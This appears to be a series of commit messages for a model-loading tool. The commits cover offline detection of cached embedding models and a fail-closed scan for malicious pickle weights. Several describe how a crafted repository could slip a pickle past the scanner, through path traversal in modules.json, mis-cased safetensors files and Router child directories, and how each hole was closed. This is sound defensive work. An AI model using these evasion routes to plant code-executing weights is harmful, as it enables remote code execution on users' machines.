could pass online validation on a stale marker instead of returning the
documented 409, and the persisted model could then fail when the loader
refreshes from the Hub. Classify permanent Hub errors (RepositoryNotFound,
GatedRepo, RevisionNotFound, EntryNotFound) as False, matching the nearby
GGUF/vision detectors, and reserve the cache fallback for transient/5xx failures.
* studio: honor TRANSFORMERS_OFFLINE in the embedding preflight, skip casing for local paths
- The embedding-model save reached the offline-aware is_embedding_model() only
after two preflight helpers made direct huggingface_hub calls that honor just
HF_HUB_OFFLINE: _st_module_subdirs() downloads modules.json and the security
scan fetches Hub metadata twice. In a TRANSFORMERS_OFFLINE-only session those
blocked on network timeouts before the offline return, so saving an already
cached model stalled. Both now consult a canonical hf_env_offline() helper --
the download passes local_files_only, and the metadata-only security scan
short-circuits to its documented fail-open instead of burning both timeouts.
- Skip cache-casing normalization for local paths: a relative directory such as
"org/model" is loaded from disk, so rewriting it to a case-insensitive HF
cache collision ("Org/model") would stop resolving to that directory and be
read as a Hub repo id instead.
* studio: never skip the security scan on TRANSFORMERS_OFFLINE alone
The previous commit skipped the Hub security scan whenever either offline flag
was set, but huggingface_hub honors only HF_HUB_OFFLINE: under a
TRANSFORMERS_OFFLINE-only session the later SentenceTransformer load still
reaches the network, so the scan was being skipped while the repo's pickle could
still be downloaded and deserialized -- waving through exactly what
_guard_model_security exists to block.
Split the flags: hf_hub_offline() (HF_HUB_OFFLINE, the only one that actually
prevents a fetch) gates the security short-circuit, while hf_env_offline()
(either flag, the user's intent) is used only where local-only behavior is
forced explicitly. The SentenceTransformer load now passes local_files_only from
that intent, so TRANSFORMERS_OFFLINE genuinely stops the loader fetching instead
of merely being assumed to.
* studio: short-circuit the security preflight under either offline flag
With the loader now pinned to the local cache by local_files_only =
hf_env_offline(), a TRANSFORMERS_OFFLINE-only session can no longer fetch
anything -- yet the preflight still fell through to two model_info() attempts on
10s and 20s timeouts, stalling every save and load of an already-cached embedder
for half a minute before failing open anyway.
Skip the metadata-only scan whenever either flag is set. The scan's job is to
stop a poisoned pickle being downloaded and deserialized, and nothing can be
downloaded under that predicate; the residual case -- a model cached BEFORE it
was flagged -- is the same fail-open this function has always documented for an
unavailable scan, and is exactly what HF_HUB_OFFLINE already did.
That safety argument depends on every loader behind the gate honoring the same
predicate, so it is pinned as a test invariant instead of a comment: removing
local_files_only from the SentenceTransformer construction now fails the suite.
Drops the short-lived hf_hub_offline() helper, which no longer has a caller.
* studio: scope the offline scan bypass to callers that load local-only
The previous commit put the offline short-circuit inside _fetch_security_status,
which is the malware gate shared by every loader -- so TRANSFORMERS_OFFLINE=1
disabled it for all of them, while only the RAG embedder had been changed to
pass local_files_only. MLX inference (core/inference/worker.py -> FastMLXModel
.from_pretrained), training and export call from_pretrained with no local-only
argument, and huggingface_hub ignores that flag, so those paths could still
fetch and deserialize an unscanned model with the gate switched off.
The bypass is now an explicit local_only_load argument, defaulting to False, and
only the two RAG embedding callers -- whose loader is pinned to the local cache
by the same predicate -- opt in. Tests pin both halves: the shared gate must
still scan under either offline flag by default, and no other caller may pass
local_only_load without constraining its loader.
* studio: capture offline state once, and probe the ST cache root
Two holes in the offline embedding path:
- _get() read hf_env_offline() twice: once inside _guard_model_security and
again for local_files_only. _hf_offline_if_dns_dead() mutates the process-wide
offline vars and restores them on exit, so a concurrent load could see True in
the guard -- skipping the Hub malware scan -- and False by the time the
constructor ran, fetching and deserializing the unscanned repo and breaking
the very invariant that licenses the bypass. The value is now read once in
_get() and passed to both; _guard_model_security takes it as an argument
instead of re-deriving it.
- The cache probe searched only HF_HUB_CACHE. SentenceTransformer downloads into
SENTENCE_TRANSFORMERS_HOME when that is set, using the same
models--org--name/snapshots layout under a different root, so a model fully
present there looked uncached and was rejected with a 409 offline even though
the local-only loader could load it. Snapshot lookup now covers both roots.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: probe the cache the ST loader actually uses, and require it be loadable
Adding SENTENCE_TRANSFORMERS_HOME to the shared snapshot iterator was too broad
in one direction and too narrow in another:
- _get() builds SentenceTransformer with no cache_folder, so with ST_HOME set it
searches THAT root only, never the Hub cache. Probing the union let offline
validation pass on a repo cached only in the Hub cache, after which the loader
looked in ST_HOME and failed. The Sentence-Transformers probe now resolves to
exactly one root: ST_HOME when set, the Hub cache otherwise.
- The shared iterator is also used by the GGUF detectors, whose downloads go
through hf_hub_download with no cache_dir and therefore really do use the Hub
cache. It is back to Hub-cache-only so detection cannot pick a snapshot the
GGUF load will not find.
- Casing normalization ran through resolve_cached_repo_id_case, which scans the
Hub cache, so with ST_HOME set the requested spelling was persisted unchanged
and the exact-case offline load missed the differently cased directory that
detection had just accepted. It now resolves against the same roots detection
uses, exact match first.
- A snapshot carrying only modules.json no longer counts as cached: the online
security preflight downloads that single file itself, and a partial download
leaves it behind, so validation passed for a snapshot with no weights and the
first RAG load then failed. A hit now requires the marker plus a config and at
least one weight file.
* studio: thread the captured offline state into the module probe, fix the gate shard
- _st_module_subdirs() re-read the process env for its local_files_only. With
_hf_offline_if_dns_dead() flipping those vars from another thread, a load that
captured local_only=False could still force this probe local-only, get () back
because modules.json is not cached, and leave the scan with NO module load
roots -- a Hub-flagged pickle under 0_Transformer/ would then pass as an
unreferenced nested artifact while the loader fetched and deserialized it. It
now takes the captured predicate as an argument, and the settings route reads
the state once and uses that single value for both the probe and the scan.
- Skip ST-cache casing on the llama-server backend. Nothing there loads through
SentenceTransformer: the embedder derives a GGUF companion from the saved
spelling and fetches it from the HUB cache, so normalizing to an ST_HOME
spelling would point it at a repo _hf_gguf_backend_error() never validated
(BAAI/bge-m3-GGUF instead of the checked baai/bge-m3-GGUF).
- Fix the security-gate shard, which the signature change had broken: the direct
_guard_model_security / _st_module_subdirs callers now pass the new argument
(they were raising TypeError before reaching any assertion), and the casing
tests patch utils.models.resolve_st_cached_repo_id_case, which the route
actually calls, instead of the Hub-only resolver it no longer uses -- those
patches were being silently ignored.
* studio: accept only torch-loadable weights in the offline ST probe; fix re-export lint
_snapshot_is_loadable_st_model accepted a cached snapshot whose only weights
were .onnx (or .pt), but the RAG loader builds SentenceTransformer with the
default torch backend, so such a snapshot passed offline validation and then
failed on the first load, the exact validate-then-fail this helper exists to
prevent. Restrict _ST_WEIGHT_SUFFIXES to .safetensors and .bin and add a
regression test for an ONNX-only snapshot.
Also teach scripts/verify_import_hoist.py that names listed in a module-level
__all__ are uses, so the legitimately added resolve_st_cached_repo_id_case
re-export in utils/models/__init__.py no longer trips HOISTED-IMPORT-UNUSED.
Covered by two new self-test cases.
* studio: probe the exact repo dir and revision an offline load resolves
The cache probe modelled the cache loosely rather than modelling what
SentenceTransformer actually does with local_files_only=True:
- It merged snapshots across every case-variant repo dir and then read refs/main
from whichever held the newest one. With both models--baai--bge-m3 and
models--BAAI--bge-m3 present, a complete embedding snapshot in the directory
the loader opens could be judged by a newer partial snapshot in the other,
failing validation for a usable model. It now selects the ONE directory the
loader opens, by the same exact-case-first rule resolve_st_cached_repo_id_case
uses to choose the spelling that gets persisted.
- It fell back to scanning historical snapshots when refs/main was absent. With
local_files_only the default revision is resolved THROUGH that ref, so a
snapshot directory alone is not discoverable: the settings request succeeded
and the loader then failed at first indexing. A missing, empty or unreadable
ref is now a cache miss, and the historical scan is gone.
The tests exercise the real lookup against a built cache tree instead of
patching the snapshot iterator, so they now cover the directory selection and
ref resolution the loader depends on.
* studio: record refs/main in the ONNX-only probe test
The ONNX-only regression test predates the refs/main requirement, so after that
change it returned None (a cache miss for want of a ref) before ever reaching
the weight-format check it exists to make. Recording the ref restores its
intent: the snapshot resolves, and the answer is False because an ONNX export is
not loadable by the RAG loader's default Torch backend.
* studio: recognize base-model weight files and gate the offline positive on a materialized snapshot
_snapshot_is_loadable_st_model matched any .safetensors/.bin by suffix, so a
partial cache carrying only a commonly published non-weight bin such as
training_args.bin (or an adapter-only artifact) passed offline validation and
then failed the local_files_only load at first indexing. Match recognized Torch
base-model weight filenames (model / pytorch_model, including sharded) by name.
is_embedding_model retained an online-confirmed positive offline even when no
files were cached, so a metadata-only /check-embedding result let an uncached
repo be saved and then fail at first indexing. Retain the positive only when the
active revision is materialized locally, which still covers a downloaded tag-only
embedder whose snapshot carries no modules.json.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: require a complete weight set offline and persist embedder verdicts across restarts
Two follow-ups to the offline embedding-model classifier:
- _snapshot_is_loadable_st_model now requires a COMPLETE Torch base-model
weight set in one snapshot directory, not just any single recognized weight
file. A partially downloaded sharded model (model-00001-of-00002 without its
sibling) no longer passes offline validation and then fails at first indexing
under local_files_only. Weight files are grouped by directory and a directory
counts only when it holds a single model.safetensors / pytorch_model.bin or a
full shard set whose indices cover 1..total.
- Online-confirmed embedder verdicts are now recorded under the resolved Studio
home (embedding_verdicts.json). The session memo is lost on exit, so a
downloaded tag-only feature-extraction embedder (snapshot present but no
modules.json) was misclassified as non-embedding the first offline call after
a restart. The offline branch consults this durable allowlist in addition to
the memo, still gated on the active revision being materialized on disk, so an
uncached repo is never trusted. Writes are best-effort and only positive
verdicts are stored.
* studio: require complete weights (with shard index) and resolve default casing offline
Follow-ups to the offline embedding-model classifier from the latest review:
- Trust a recorded embedder verdict (session memo or persisted allowlist) offline
only when the active snapshot carries a COMPLETE, loadable weight set, not merely
that it is materialized. A partial download (config present, weights missing or an
incomplete shard set) makes _embedding_marker_in_hf_cache read False rather than
None, so the previous marker-is-not-None gate wrongly returned True and the
local_files_only load then failed. Split out _snapshot_has_complete_weights (config
plus complete weights, modules.json aside) and _active_snapshot_dir, and gate the
known-embedder positive on the weight set.
- Require a sharded checkpoint's index map (model.safetensors.index.json /
pytorch_model.bin.index.json) in addition to every shard before accepting it:
transformers discovers and wires shards through that index, so a complete shard set
without it fails the local-only load.
- Resolve the embedding model name to its exact cache casing in the RAG loader before
constructing SentenceTransformer. The settings route persists that spelling for a
custom override but deliberately leaves the configured default verbatim, so a
default whose casing differs from the cache dir would miss it and fail offline.
Resolving at load time covers the default too; a no-op for a local path or when
nothing case-matching is cached, and idempotent for an already-normalized override.
Adds regression tests for the partial-snapshot verdict, the missing shard index, and
the loader casing resolution; updates the offline-invariant source assertion to the
resolved-name variable.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: require a tokenizer, case-fold verdict ids, and serialize verdict writes
Three follow-ups to the offline embedding-model classifier from the latest review:
- _snapshot_has_complete_weights now also requires a tokenizer asset. A
SentenceTransformer Transformer module builds an AutoTokenizer, so a snapshot with
a complete weight set but no tokenizer.json / tokenizer_config.json / vocab still
fails the local_files_only load. The check is a permissive union over the common
fast-tokenizer, config, and WordPiece/BPE/SentencePiece assets, so an unusual but
valid layout is not rejected -- only a genuinely tokenizer-less partial download.
- The persisted embedder allowlist is now keyed case-insensitively. model_info() is
queried under the requested casing while the settings route saves the cache-resolved
casing, so an exact-string lookup missed the persisted positive after a restart
(baai/model recorded, BAAI/model looked up) and a loadable tag-only embedder was
rejected. Both persist and lookup case-fold the id.
- _persist_embedder serializes its read-modify-write under a lock and writes through a
per-thread temp file, so concurrent confirmations of different embedders no longer
drop each other's entry or collide on the temp path. Cross-process writers stay
best-effort (os.replace is atomic; a dropped verdict is only an optimization miss a
later online re-confirmation heals).
Adds regression tests for the missing-tokenizer reject, alternate tokenizer assets,
cross-casing verdict match, and concurrent verdict writes; updates the snapshot test
helpers to materialize a tokenizer alongside config and weights.
* studio: tighten comments in the offline embedding-model classifier
Comment-only pass over the PR's changed files. Collapse the long block
comments and docstrings around is_embedding_model, the cache-snapshot and
weight-completeness helpers, the embedder-verdict persistence, the offline
security gate, and the offline/casing tests to short one- or two-line forms.
Preserve the rationale (issue #6817, the local_files_only invariant, the
casing and weight-gate reasons) in far fewer words. No code changes.
* studio: drop redundant comments in the offline embedding-model classifier
Second comment-reduction pass over the offline embedding-model cache work:
delete comments and trailing notes that restate the adjacent code or an
assertion, and trim the remaining docstrings and rationale comments to their
load-bearing invariants. Comments and docstrings only; no code changes.
* studio: pin embedder verdicts to a revision, canonicalize default aliases
- A persisted verdict recorded that the Hub tagged ONE revision an embedder, but
was stored per repo. Once refs/main advanced to a complete but non-embedding
Transformer snapshot, the offline path still returned True: the settings route
accepted the updated model without force and RAG could silently load it as an
embedder. Verdicts now carry the commit they were confirmed at and are trusted
only while the active revision matches. One confirmed before the repo was
cached has no revision to compare, so the first revision observed afterwards is
pinned then -- which is what lets a later advance be caught. The persisted file
gains a {id: commit} form and still reads the previous list format.
- tokenizer_config.json no longer counts as a tokenizer asset. It only DESCRIBES
a tokenizer, so a snapshot with config, weights and just that file passed
validation and then failed AutoTokenizer.from_pretrained(local_files_only=True)
at first indexing for common BERT/GPT-style models.
- A casing-only alias of the default is canonicalized to the default up front.
Repo ids are case-insensitive but every gate here compares exact strings, so
saving "Unsloth/bge-m3" against a default of "unsloth/bge-m3" ran the
verification and scan for a custom model and then persisted an override --
after which later changes to the configured default stopped applying.
- verify_import_hoist.py replays __all__ assignments in order instead of unioning
them. Only the final value exports anything, so a later plain "=" that drops a
name must leave its import counted as unused; "+=" still extends, and an
unreadable rebind keeps the earlier names rather than flagging real re-exports.
* studio: validate the real ST load root, and pin verdicts to the Hub revision
Four ways the offline probe still disagreed with what the loader does:
- Verdicts were pinned to the LOCAL refs/main, but model_info() describes the
current HUB revision. With a stale cache the two differ, so an older snapshot
nobody verified was allowlisted. The pin is now info.sha, taken from the
ModelInfo that produced the positive. A verdict carrying no revision (a legacy
entry) is no longer trusted at all -- trusting it meant pinning whatever
happened to be cached, which is the same bug; the next online check re-records
it properly.
- config, tokenizer and weights had to exist somewhere in the snapshot, not
together. modules.json can send SentenceTransformer at 0_Transformer/, which is
loaded FROM that directory, so a cache with the config at the root and only
0_Transformer/model.safetensors passed and then failed the local-only load.
Each directory is now checked as a complete load root, which covers both the
plain HF layout and the ST module layout.
- vocab.json and merges.txt counted independently, but BPE needs the pair unless
a serialized tokenizer.json is present, so half a pair validated and then
failed AutoTokenizer.from_pretrained(local_files_only=True).
- A slashless short name like all-MiniLM-L6-v2 is a supported ST alias that the
loader resolves through the sentence-transformers/ organization, so its
snapshot is cached under that full id. Probing only the bare name reported a
miss and 409'd a model that was cached and loadable; the bare id is still tried
first, matching the loader's own order.
* studio: fail closed for an offline security scan instead of failing open
A local_only (offline) load cannot fetch Hugging Face's malware scan, and the previous
behaviour skipped the scan and failed OPEN, so a cached repo with a poisoned pickle weight
could deserialize under SentenceTransformer(local_files_only=True). Evaluate it fail-CLOSED
against the cached files instead: block a base-model pickle weight the load would deserialize
(pytorch_model.bin and its shards, in a directory with no safetensors alternative) and allow a
pickle-free (safetensors / gguf are inert) cache. A cached pickle model must be reloaded online
once to be scanned, or shipped as safetensors. Nothing cached is not a security event.
_fetch_security_status no longer needs the local_only_load skip (the offline branch is handled
in evaluate_file_security). Adds a regression test covering the safetensors-allow and
pickle-block paths with no Hub call.
* studio: only suppress an offline pickle when a loadable safetensors weight exists
The offline security gate treated any .safetensors in a directory as covering a
pickle weight, so a cache with pytorch_model.bin beside a bare adapter_model.safetensors
(or an orphan shard with no index) passed the fail-closed check even though
from_pretrained still selects and deserializes the pickle. Require a genuinely loadable
safetensors weight -- an unsharded base file or a complete indexed shard set -- before
treating the pickle as covered.
Also make the import-hoist analyzer preserve uncertainty when __all__ is extended by a
value it cannot read statically (__all__ += dynamic()), matching how it already handles
an unreadable rebind, so a dynamically-supplied re-export is not flagged HOISTED-IMPORT-UNUSED.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: scope the offline pickle scan to load paths; reset __all__ opacity on rebind
Address three review follow-ups on the offline security gate and the import-hoist analyzer:
- The offline pickle scan walked the whole snapshot, so a stray pickle in a non-load
subdirectory (archive/, nemo/) that SentenceTransformer never deserializes was blocked.
Scope it to real from_pretrained load roots -- the snapshot root, or a subdir that holds
its own config.json -- matching the online scan's load-path scoping.
- _collect_dunder_all kept a sticky opaque flag: a readable replacing assignment after an
unreadable extend (__all__ += dynamic(); __all__ = []) still credited every import, so a
genuinely unused hoist went unreported. A replacing assignment now resets opacity.
- A bare __all__: list[str] annotation has no runtime value; it was treated as an unreadable
assignment and marked the export set opaque. Skip annotation-only declarations.
* studio: recase slashless ST aliases and accept a pinned embedder after a transient failure
Two offline-detection gaps on well-formed input:
- resolve_st_cached_repo_id_case bailed on every slashless name, so a differently-cased
short alias (all-minilm-l6-v2) validated case-insensitively but was loaded verbatim; the
SentenceTransformer loader rewrites it to sentence-transformers/all-minilm-l6-v2 and looks
it up case-sensitively, missing the canonical sentence-transformers/all-MiniLM-L6-v2 cache
dir. Resolve through _st_cache_repo_dir, which follows the same org alias, and hand back the
on-disk casing.
- On a transient (non-permanent) Hub failure, is_embedding_model only accepted a cached
modules.json marker, so a downloaded tag-only embedder (no modules.json) with a verdict
pinned to the active revision was rejected even though the offline branch accepts the
identical cache. Mirror the offline branch's pinned-verdict acceptance.
* studio: scan modules.json-declared module roots in the offline pickle gate
The offline pickle scan treated only the snapshot root and config.json-bearing subdirs as
load roots, so a pickle in a non-Transformer SentenceTransformer module directory that has no
config.json (e.g. a 0_WordEmbeddings/ module: wordembedding_config.json + pytorch_model.bin)
was skipped even though the loader deserializes it. Parse modules.json (and thread through
load_subdirs) to treat every declared module directory as a load root, so such a pickle is
scanned and fail-closed offline.
* studio: classify cached non-Transformer SentenceTransformer models offline
_snapshot_has_complete_weights recognized only a Transformer-shaped load root (config +
tokenizer + weights co-located), so a fully-cached model built from a non-Transformer module
(0_WordEmbeddings uses wordembedding_config.json + embedding weights and its own tokenizer, no
HF config.json; BoW keeps its vocab in config.json) was classified non-embedding offline and
the settings endpoint returned 409.
Add _snapshot_modules_all_loadable, which parses modules.json and accepts a snapshot when every
declared module's path directory carries the files that module class's own load() reads (a
Transformer/root module still needs the full HF load root; a WordEmbeddings module needs its
config plus a complete weight set; other modules need their *_config.json), and at least one
embedding-producing module is present. It is OR-ed after the Transformer check, so it only ever
accepts more and cannot regress the existing path or reject a pruned cache.
* studio: scan PEFT adapter pickle weights in the offline security gate
from_pretrained auto-detects an adapter_config.json in the load root and deserializes the
adapter weights on top of the base model, so adapter_model.bin is a separate pickle RCE vector
that a safetensors base weight does not cover. The offline scan matched only base-model pickle
names, so an offline local-only load with safetensors base weights plus a cached
adapter_model.bin was allowed despite the live adapter pickle. Scan adapter pickles too, scoped
to a load root where adapter_config.json is present and no adapter_model.safetensors exists.
* studio: require weights for Dense/CNN/LSTM SentenceTransformer modules offline
_module_dir_is_loadable accepted a Dense, CNN, or LSTM module dir with only its config, but
those modules' load() hard-load model.safetensors else pytorch_model.bin (verified against
sentence-transformers source: no fallback, raises if neither exists) -- exactly like
WordEmbeddings. A cache with such a module's config but no weights would validate and then
fail the local_files_only load. Require a complete weight set for every weighted module, not
just WordEmbeddings.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: scan root-index subdir pickle shards offline; handle __all__.append/.extend
- The offline pickle scan followed only load-root directories, so a shard mapped by a root
pytorch_model.bin.index.json into a non-root subdirectory was skipped even though
from_pretrained follows the index weight_map and deserializes it (a layout an attacker can
craft to evade the scanner). Read the local index and scan its referenced pickle shards,
covered by a loadable base safetensors at the index root -- mirroring the online scan.
- The import-hoist analyzer ignored __all__.append("X") / __all__.extend([...]) runtime
re-export mutators, so an import added solely for one tripped HOISTED-IMPORT-UNUSED. Read
their string args like +=, and treat any other __all__ method call as opaque.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* studio: classify StaticEmbedding offline, require WordEmbeddings tokenizer, bound model_info
- A StaticEmbedding module (e.g. sentence-transformers/static-retrieval-mrl-en-v1's
0_StaticEmbedding/) holds tokenizer.json + weights and NO config, so the config-gated
non-Transformer path 409'd it offline. Recognize it by what StaticEmbedding.load() reads: a
tokenizer.json plus a complete Torch weight set.
- WordEmbeddings.load() rebuilds its tokenizer via the configured tokenizer_class.load() from the
module dir, so a WordEmbeddings module now also requires a tokenizer artifact
(whitespacetokenizer_config.json / phrasetokenizer_config.json, or a shared HF tokenizer asset),
not just its config + weights.
- With neither offline env var set, an unbounded model_info() could hang on connect/DNS retries
for networkless users (the #6817 symptom). Bound it with a 15s timeout so a dead network fails
fast and the existing transient-failure cache fallback resolves a cached model, while a
reachable Hub still wins. (Documented caveat: a stalled DNS getaddrinfo may exceed this.)
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Resolve indexed safetensors shards relative to their index
_safetensors_index_complete compared shard basenames against the flat
set of files in the index directory, so an index whose weight_map names
shards in a subdirectory was treated as incomplete whenever a legacy
pytorch_model.bin sat beside it. That falsely blocked a snapshot whose
pickle weights are fully covered by a complete, loadable safetensors
shard set. Resolve each shard path relative to the index directory
instead, and add a regression test for the subdir-mapped shard case.
* Restrict offline weight-completeness check to declared load roots
_snapshot_has_complete_weights scanned every directory in a snapshot and
accepted it when ANY directory was a complete Transformer load root. When
modules.json is present a SentenceTransformer load only opens the declared
module paths, so a snapshot whose declared modules are incomplete but which
happens to contain an unrelated complete directory was accepted offline and
then failed at the first local_files_only load. Restrict the candidate
directories to the roots a load actually opens: the snapshot root plus each
modules.json module path. For a well-formed snapshot the verdict is
unchanged; only a complete directory at an undeclared path no longer vouches
for an otherwise-incomplete snapshot.
* Scan SentenceTransformer Router child module weights offline
A Router (legacy Asym) snapshot declares its child sub-modules only in
router_config.json, not the top-level modules.json, and Router.load()
deserializes each child's weights from its own subdir. A config.json-less
child such as query_0_WordEmbeddings (wordembedding_config.json plus a
pickle pytorch_model.bin loaded via torch.load) was therefore neither a
modules.json-declared load root nor a config.json-bearing dir, so the
offline gate skipped its pickle even though the loader deserializes it.
Parse router_config.json at each load root and treat every declared child
subdir as a load root (bounded BFS, so nested routers are covered), so
those child pickles are scanned. Add Router regression tests: a pickle
child blocks, a safetensors child is allowed, and a Router in a declared
subfolder is followed.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Do not treat an unreferenced config subdir as an offline load root
The offline pickle gate skipped a directory only when it was neither a
declared load root nor held a config.json. Because _st_load_roots already
resolves every real load root (snapshot root, modules.json / load_subdirs
dirs, Router children), the config.json fallback only ever promoted an
UNREFERENCED subdir -- a nested checkpoint-500/ or archive/ that ships its
own config.json + pytorch_model.bin -- to a load root. from_pretrained
never descends into such a subdir and the online scan ignores the same
unindexed pickle, so offline mode wrongly blocked a model the loader reads
from a clean safetensors root. Scope the pickle to directory in roots
only, and add a regression test (a stray checkpoint-500/ no longer blocks;
a modules.json-declared module dir still does).
* Classify a root Router (Asym) model as loadable offline
_module_dir_is_loadable applied Transformer root requirements (config +
tokenizer + weights) to every root module, so a Router saved at the
snapshot root -- which carries only modules.json + router_config.json and
loads its weights from child subdirs -- was classified not loadable
offline, and is_embedding_model missed a cached Router embedder. Dispatch
on the module class before the root Transformer fallback: a Router/Asym
dir is loadable when router_config.json parses and every declared child
subdir is loadable (validated recursively through _module_dir_is_loadable,
so nested routers and every child type are covered) with at least one
embedding-producing child. This also tightens a non-root Router, which
previously validated on the mere presence of router_config.json without
checking its children. Add Router regression tests (root and declared
subfolder, complete and incomplete-child).
* Require every declared module before accepting an offline cache
_snapshot_is_loadable_st_model returned has_complete_weights OR
modules_all_loadable, so a complete 0_Transformer short-circuited the or
and vouched for the whole snapshot even when a declared sibling module was
missing its serialized weights; SentenceTransformer builds every module in
modules.json, so that snapshot passed offline validation and then failed
the local-only load. When modules.json declares a non-empty list it is now
authoritative (modules_all_loadable validates every declared module);
has_complete_weights stays the fallback only for an empty/non-list
modules.json (the plain from_pretrained root). Also add the weight-bearing
modules whose load() hard-loads via load_torch_weights and previously fell
to the config-only path -- LayerNorm, WeightedLayerPooling, SparseAutoEncoder
-- to _ST_WEIGHTED_MODULE_NAMES, with source citations and the deliberate
exclusions (Pooling/Normalize/BoW/WordWeights read no weights on load).
Add parametrized regression tests over LayerNorm/WeightedLayerPooling/Dense
(a weightless sibling rejects, a complete sibling accepts).
* Reject self-referential Router children instead of recursing forever
_router_dir_is_loadable validates each router_config.json child through
_module_dir_is_loadable, which re-enters _router_dir_is_loadable for a
Router child. A malformed types entry naming the router's own directory
(a key of ".", which normalizes to the same dir) made that recursion
never descend, so it looped until RecursionError -- breaking the
documented never-raises contract and turning a crafted/corrupted cached
model into a 500 from is_embedding_model instead of a graceful
unverifiable result. A real child reference is a subdir and always
resolves deeper, so reject any child whose resolved path is the router
dir itself. Add a regression test (a router_config naming "." as a
Router child returns False without raising).
* Treat a destructuring __all__ assignment as opaque
_collect_dunder_all detected __all__ only as a direct ast.Name assignment
target, so a binding through a destructuring target (__all__, meta = [...],
v -> an ast.Tuple) was skipped entirely, leaving an empty, non-opaque
export set. A newly hoisted import re-exported only through that assignment
was then falsely flagged HOISTED-IMPORT-UNUSED. Its value cannot be mapped
statically, so mark the export set opaque when __all__ is reached only
through a destructuring / item / attr target, matching how the collector
already handles other unreadable __all__ forms. Add a self-test case.
* Canonicalize declared module paths before scoping the offline pickle gate
A repo could declare a traversing module path such as 0/../evil in
modules.json (or a router_config child), which SentenceTransformer resolves
to evil/ and deserializes evil/pytorch_model.bin. _st_load_roots recorded
the raw snap/"0/../evil", which never equals the snap/evil that rglob
yields, so the offline pickle gate skipped that directory and a malicious
repo slipped a pickle past the newly added gate. Add _canonical_load_dir
to collapse ./ and ../ components lexically and reject an upward escape,
and route the modules.json paths, load_subdirs and router children through
it so the gate scopes the same normalized directory the loader opens. Add
regression tests for a traversing modules.json path and router child.
* Close offline embedding-classification completeness gaps
Five real offline misclassifications, each a false negative (the #6817 hang
recurs) or false positive (accepted then 409s at the local_files_only load).
Dispatch _module_dir_is_loadable on the module class before the root
Transformer fallback. A module with save_in_root=True (every InputModule:
WordEmbeddings, StaticEmbedding, SparseStaticEmbedding, Transformer, Router)
is saved at the snapshot root, so a root WordEmbeddings was wrongly held to
Transformer requirements (an HF tokenizer it never writes) and classified not
loadable.
CLIPModel is Transformer-shaped: CLIPModel.load() reads AutoModel weights plus
AutoProcessor, so a config-only CLIP dir must not validate.
SparseStaticEmbedding needs a tokenizer plus either idf.json or a complete
torch weight set (conditionally weight-bearing); a config alone is not enough.
A present but empty or malformed modules.json is not loadable and does not fall
back to a root Transformer: with modules.json present the loader never takes
the plain-Transformer path (base/model.py _load_config_modules). The tag-only
no-modules.json embedder is classified separately via
_snapshot_has_complete_weights.
Validate a sharded weight index against its weight_map (every mapped shard
present, resolved relative to the index dir) instead of trusting the index
file's mere existence, mirroring the security-side check.
Add regression tests for all five.
* Close case-folding and online-traversal holes in the offline pickle gate
Two gate bypasses where the security scan credited or scoped a path
differently from what the loader actually resolves:
The safetensors credit was case-folded. _cached_pickle_weight_files lowercases
every filename, and the loadable-safetensors and adapter checks tested those
folded keys against the exact-lowercase names. On a case-sensitive filesystem
(Linux, the Studio default) a crafted repo shipping Model.SafeTensors plus a
malicious pytorch_model.bin makes transformers and sentence-transformers miss
the exact-name model.safetensors and deserialize the pickle, while the gate
credited an inert safetensors and did not block. Credit safetensors
case-sensitively against real filenames, and drop pytorch_model.safetensors
from the credit set (transformers loads only model.safetensors, never that
name). Pickle matching stays case-insensitive (over-blocking a mis-cased
pickle the loader would not load is the safe direction).
The online scan did not canonicalize traversing paths while the offline gate
did. A repo-controlled modules.json path (threaded into the online scan via
the RAG guard) or a weight_map shard entry like 0/../evil / ../evil was
compared verbatim, so a flagged evil/pytorch_model.bin never matched and
evaded the online scan though the loader resolves and deserializes it.
Canonicalize the repo-controlled load-subdir prefixes and weight_map shards
the same way the offline gate does, so offline and online agree.
Add regression tests for both bypasses.
* Treat a conditional __all__ mutation as opaque in the import-hoist linter
_collect_dunder_all replayed only top-level module statements, so an __all__
assignment or mutation inside a module-level if / try / for / while / with /
match (or a deeper scope) was ignored, leaving the export set understated. A
newly hoisted import re-exported only through such a conditional __all__ was
then falsely flagged HOISTED-IMPORT-UNUSED, blocking a valid change. A
conditional value cannot be replayed statically, so mark the export set opaque
when __all__ is bound or mutated anywhere other than a top-level statement.
Add a self-test case.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Scope Router child sub-modules as load roots in the online embedding scan
The RAG embedding security guard unions the SentenceTransformer module dirs
from modules.json into the load roots it scopes for the Hub scan, so a flagged
pickle directly under a Transformer module blocks. A Router (legacy Asym)
module declares its child sub-modules only in router_config.json, not in
modules.json, and Router.load() deserializes each child from its own subdir.
The online scan therefore dropped a flagged child pickle (for example
query_0_WordEmbeddings/pytorch_model.bin) as an unreferenced nested shard while
the loader still deserialized it, the counterpart to the offline gate which
already expands router children via _router_child_dirs.
_st_module_subdirs now reads router_config.json for any Router-typed module and
adds each declared child (joined onto the module path, canonicalized so a
traversing entry is dropped) to the load roots. The config is read only for a
Router-typed module, so a plain embedder pays no extra fetch, and every failure
path still returns () so the guard never bricks the embedder.
* [pre-commit.ci] auto fixes from pre-commit.com hooks
for more information, see https://pre-commit.ci
* Allow a recorded-clean pickle embedder to load offline
The offline embedding security gate is fail-closed: with no network to reach
Hugging Face's scan, a cached pickle weight cannot be verified, so it is blocked
and a model the user already downloaded and used online will not load offline.
This adds a persistent cache of clean Hub verdicts so that exact content can load
offline, without weakening the gate for an unknown or never-scanned pickle.
When an embedding repo is loaded online and HF's scan returns a completed clean
verdict, the load roots are hashed and recorded under the scanned commit as an
exact map of snapshot-relative pickle name to sha256, in a per-user JSON store at
studio_root()/security/embedding_scan_verdicts.json (atomic write, 0600, thread
and cross-process locked, 30-day TTL). Offline, a cached pickle model loads only
when the active cached commit and every load-root pickle's sha256 match the
